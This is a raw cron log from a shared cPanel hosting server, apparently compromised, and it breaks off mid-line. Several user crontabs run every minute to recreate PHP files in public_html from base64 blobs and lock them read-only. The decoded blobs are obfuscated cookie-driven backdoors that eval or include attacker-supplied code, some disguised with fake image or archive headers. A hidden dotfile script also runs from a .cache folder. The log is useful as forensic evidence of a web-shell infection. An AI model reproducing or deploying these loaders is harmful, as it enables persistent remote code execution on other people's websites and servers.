Jun  7 14:51:02 medusa CROND[24007]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:51:02 medusa CROND[24008]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 14:51:02 medusa CROND[24010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:51:02 medusa CROND[24011]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:51:02 medusa CROND[24014]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:51:02 medusa CROND[24015]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:52:01 medusa CROND[25931]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 14:52:01 medusa CROND[25935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:52:01 medusa CROND[25940]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:52:01 medusa CROND[25941]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:52:01 medusa CROND[25942]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:52:01 medusa CROND[25944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:52:01 medusa CROND[25945]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:52:01 medusa CROND[25946]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:52:01 medusa CROND[25948]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:52:01 medusa CROND[25947]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:52:01 medusa CROND[25955]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:52:01 medusa CROND[25954]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:52:01 medusa CROND[25962]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 14:53:01 medusa CROND[27875]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 14:53:01 medusa CROND[27907]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 14:53:01 medusa CROND[27906]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 14:53:01 medusa CROND[27908]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:53:01 medusa CROND[27909]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 14:53:01 medusa CROND[27910]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 14:53:01 medusa CROND[27911]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:53:01 medusa CROND[27912]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 14:53:01 medusa CROND[27914]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 14:53:01 medusa CROND[27916]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 14:53:01 medusa CROND[27918]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 14:53:01 medusa CROND[27919]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hv